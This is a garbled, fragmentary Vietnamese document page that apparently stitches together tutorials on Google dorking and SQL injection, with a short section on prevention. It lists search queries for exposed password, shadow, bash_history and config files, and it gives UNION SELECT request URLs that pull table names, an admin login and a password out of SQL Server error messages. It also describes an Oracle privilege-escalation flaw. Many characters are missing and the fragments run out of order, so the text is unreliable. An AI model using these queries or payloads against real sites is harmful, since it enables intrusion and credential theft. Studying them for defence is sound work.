“phonebook:Lisa+CA” s li t kê t t c tên ng i có t “Lisa” tên “California (CA)” Cú pháp có th đ c s d ng nh m t công c t v i c a tin t c tr ng h p mu n tìm ki m thông tin cá nhân cho công vi c xã h i Truy v n site ho c server d b t n công s d ng cú pháp nâng cao c a Google Nh ng cú pháp truy v n nâng cao th o lu n th c s có th giúp ng xác hóa tìm ki m có đ c nh ng h th c s tìm ki m i ta Bây gi Google tr thành m t máy tìm ki m thông minh, nh ng ng i dùng có ác ý không h b n tâm khai thác kh n ng c a đ đào b i nh ng thông tin bí m t t internet mà ch có s truy c p gi i h n Bây gi s th o lu n nh ng k thu t m t cách chi ti t làm th đ nh ng ng i dùng ác tâm đào b i thông tin internet s d ng Google nh m t công c S d ng cú pháp “Index of ” đ tìm ki m site cho phép t ch m c M t webserver(máy ch web) cho phép t ch m c ngh a b t k có th t th m c c a webserver nh th m c n i b thông th ng s th o lu n làm th đ s d ng cú pháp "index of" đ có m t danh sách liên k t đ n webserver cho phép t th m c Cách tr thành m t ngu n d dàng cho vi c thu th p thông tin c a tin t c T ng t ng n u h n m đ c file m t kh u ho c file nh y c m khác mà bình th ng không th th y đ c internet D i vài Ví d s d ng đ có đ c quy n truy c p vào r t nhi u thông tin nh y c m d dàng h n r t nhi u: Index of /admin Index of /passwd Index of /password Index of /mail "Index of /" +passwd "Index of /" +password.txt "Index of /" +.htaccess "Index of /secret" "Index of /confidential" "Index of /root" "Index of /cgi-bin" "Index of /credit-card" "Index of /logs" "Index of /config" Tìm ki m site ho c server d b t n công s d ng cú pháp “inurl:” ho c “allinurl:” a S d ng “allinurl:winnt/system32/” (không có ngo c kép) s li t kê t t c liên k t đ n server mà cho phép truy c p đ n nh ng th m c gi i h n nh “system32” qua web N u b n đ may m n b n có th có quy n truy c p đ n file cmd.exe th m c “system32” M t b n có quy n truy c p đ n file “cmd.exe” có th th c thi b n có th ti n lên xa h n leo thang quy n c a b n kh p server làm h i b S d ng “allinurl:wwwboard/passwd.txt”(không có ngo c kép) Google search s li t kê t t c liên k t đ n server mà d b t n công vào “tính d b t n công m t kh u WWWBoard” bi t thêm v tính d b t n công b n có th vào link sau đây: http://www.securiteam.com/exploits/2BUQ4S0SAW.html c S d ng “inurl:.bash_history” (không có ngo c kép) s li t kê t t c liên k t đ n server mà cho phép truy c p vào file “.bash_history” qua web ây m t file l ch s dòng l nh File bao g m danh sách l nh đ c th c thi b i qu n tr viên, , bao g m c thông tin nh y c m nh m t kh u gõ vào b i qu n tr viên N u file b làm h i n u bao g m m t kh u mã hóa c a h th ng unix (or *nix) có th d dàng b crack b i ph ng pháp “John The Ripper” d S d ng “inurl:config.txt” (không có ngo c kép) s li t kê t t c liên k t đ n máy ch cho phép truy c p vào file “config.txt” qua giao di n web File bao g m thông tin nh y c m, bao g m giá tr b b m c a m t kh u qu n tr s xác th c quy n truy c p c s d li u Ví d : H th ng qu n lý h c t p Ingenium m t ng d ng Web cho h th ng Windows phát tri n b i Click2learn, Inc H th ng qu n lý h c t p Ingenium phiên b n 5.1 6.1 l u thông tin nh y c m không an tòan file config.txt bi t thêm thông tin vào liên k t sau: http://www.securiteam.com/securitynews/6M00H2K5PG.html Nh ng tìm ki m t ng t khác dùng “inurl:” ho c “allinurl:” k t h p v i cú pháp khác: inurl:admin filetype:txt inurl:admin filetype:db inurl:admin filetype:cfg inurl:mysql filetype:cfg inurl:passwd filetype:txt inurl:iisadmin inurl:auth_user_file.txt inurl:orders.txt inurl:"wwwroot/*." inurl:adpassword.txt inurl:webeditor.php inurl:file_upload.php inurl:gov filetype:xls "restricted" index of ftp +.mdb allinurl:/cgi-bin/ +mailto Tìm ki m site ho c server d b t n công dùng “intitle:” ho c “allintitle:” a S d ng [allintitle: "index of /root”] (không có ngo c vuông) s li t kê liên k t đ n webserver(máy ch Web) cho phép truy c p vào th m c gi i h n nh “root” qua giao di n web Th m c bao g m thông tin nh y c m mà có th d dàng tìm đ c tqua nh ng yêu c u Web đ n gi n b S d ng [allintitle: "index of /admin”] (không có ngo c vuông) s li t kê liên k t đ n website cho phép t ch m c th m c gi i h n nh “admin” qua giao di n web H u h t ng d ng web s d ng tên nh “admin” đ l u quy n admin Th m c bao hàm thông tin nh y c m mà có th d dàng tìm đ c qua yêu c u Web đ n gi n Nh ng tìm ki m t ng t dùng “intitle:” ho c “allintitle:” k t h p v i cú pháp khác intitle:"Index of" sh_history intitle:"Index of" bash_history intitle:"index of" passwd intitle:"index of" people.lst intitle:"index of" pwd.db intitle:"index of" etc/shadow intitle:"index of" spwd intitle:"index of" master.passwd intitle:"index of" htpasswd intitle:"index of" members OR accounts intitle:"index of" user_carts OR user_cart allintitle: sensitive filetype:doc allintitle: restricted filetype :mail allintitle: restricted filetype:doc site:gov Nh ng truy v n tìm ki m thú v khác tìm nh ng site d b t n công b ng ph ng pháp Cross-Sites Scripting (XSS): allinurl:/scripts/cart32.exe allinurl:/CuteNews/show_archives.php allinurl:/phpinfo.php tìm nh ng site d b t n công b ng ph ng pháp SQL Injection: allinurl:/privmsg.php allinurl:/privmsg.php [...]... sp_makewebtask 13 Ng n ch n SQL Injection trong ASP.NET Các cách th c ng n ch n SQL Injection đ c trình bày ph n 12 đã bao quát đ ph ng pháp, nh ng trong ASP.NET có cách ng n ch n đ n gi n là s d ng các Parameters khi làm vi c v i object SqlCommand (ho c OleDbCommand) ch không s d ng các câu l nh SQL tr c ti p Khi đó NET s t đ ng validate ki u d li u, n i dung d li u tr c khi th c hi n câu l nh SQL Ngoài ra, c... n ch n SQL Injection Hãy lo i b các kí t meta nh '"/\; và các kí t extend nh NULL, CR, LF, trong các string nh n đ c t : • • • input do ng i dùng đ trình các tham s t URL các giá tr t cookie i v i các giá tr numeric, hãy chuy n nó sang integer tr ISNUMERIC đ ch c ch n nó là m t s integer c khi query SQL, ho c dùng Thay đ i "Startup and run SQL Server" dùng m c low privilege user trong tab SQL Server... c lòng tr c, m t lòng sau mong các b n hi u L i SQL Injection trong Oracle có th nâng quy n Tài kho n Chuyên viên phân tích : Ngô B o Di p 1 Thông tin chung N u k t n công có m t tài kho n ng i dùng bình th ng trong Oracle, h n có th th c hi n m t s câu l nh đánh vào đi m y u c a Oracle trong hai phiên b n 8i và 9i, nh m m c đích nâng quy n truy nh p tài kho n lên m c qu n tr T đây, h n có toàn quy... l i c a SQL Server có th nh sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int /index.asp, line 5 Làm t ng t nh trên, có th l y đ c tên c a các column còn l i nh "password", "details" Khi đó ta l y tên c a các column này qua các thông báo l i c a SQL Server,... d li u b ng cách khác thông qua statement LIKE c a câu l nh SQL: http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25' Khi đó thông báo l i c a SQL Server có th là: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value 'admin_login'... ch , không có quy n SYSDBA CTXSYS.DRILOAD là 1 m t package nh trong CTXSYS Schema Trong package này có t n t i các hàm và th t c b l i SQL Injection Khai thác l h ng này m t account bình th ng có th tr thành m t account v i quy n SYSDBA qu n tr Database server L i SQL Injection trong CTXSYS.DRILOAD có các đ c đi m nh sau: • • B khai thác b i nh ng ng này ch c n quy n bình th R t d khai thác i dùng có... "neo" nh sau: http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo' Khi đó thông báo l i c a SQL Server có th nh sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int /index.asp, line 5 Và bây gi là đã có th login vào... ra m t string m i không ph i numeric string là '31173 morpheus' Khi hàm convert() đ c g i đ chuy n '31173 morpheus' sang integer, SQL server s phát l i ODBC error message sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int /index.asp, line 5 Và ngh a là... http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' Khi đó thông báo l i c a SQL Server có th nh sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int /index.asp, line 5 Nh v y tên c a column đ u tiên...Khi chúng ta k t h p chu i này v i s integer 10 qua statement UNION, MS SQL Server s c th chuy n m t string (nvarchar) thành m t s integer i u này s g p l i n u nh không chuy n đ c nvarchar sang int, server s hi n thông báo l i sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value 'table1' to a column ... nguyên thu "SQL đ c d ch s a đ i Injection Walkthrough" c a http://www.xfocus.net/ SQL Injection gì? SQL Injection m t nh ng ki u hack web d n tr nên ph bi n hi n B ng cách inject mã SQL query/command... t i th i gian v a qua, không website t i Vi t Nam b t n công đa s đ u l i SQL injection [1] V y SQL injection ? SQL injection m t k thu t cho phép nh ng k t n công l i d ng l h ng vi c ki m tra...Gi i thi u v SQL Injection T N CÔNG KI U SQL INJECTION TÁC H I VÀ PHÒNG TRÁNH Tác gi : Lê ình Duy SQL Injection gì? Khi tri n khai ng d ng web Internet,

Ngày đăng: 25/03/2016, 14:52

Từ khóa liên quan

Tài liệu cùng người dùng

  • Đang cập nhật ...

Tài liệu liên quan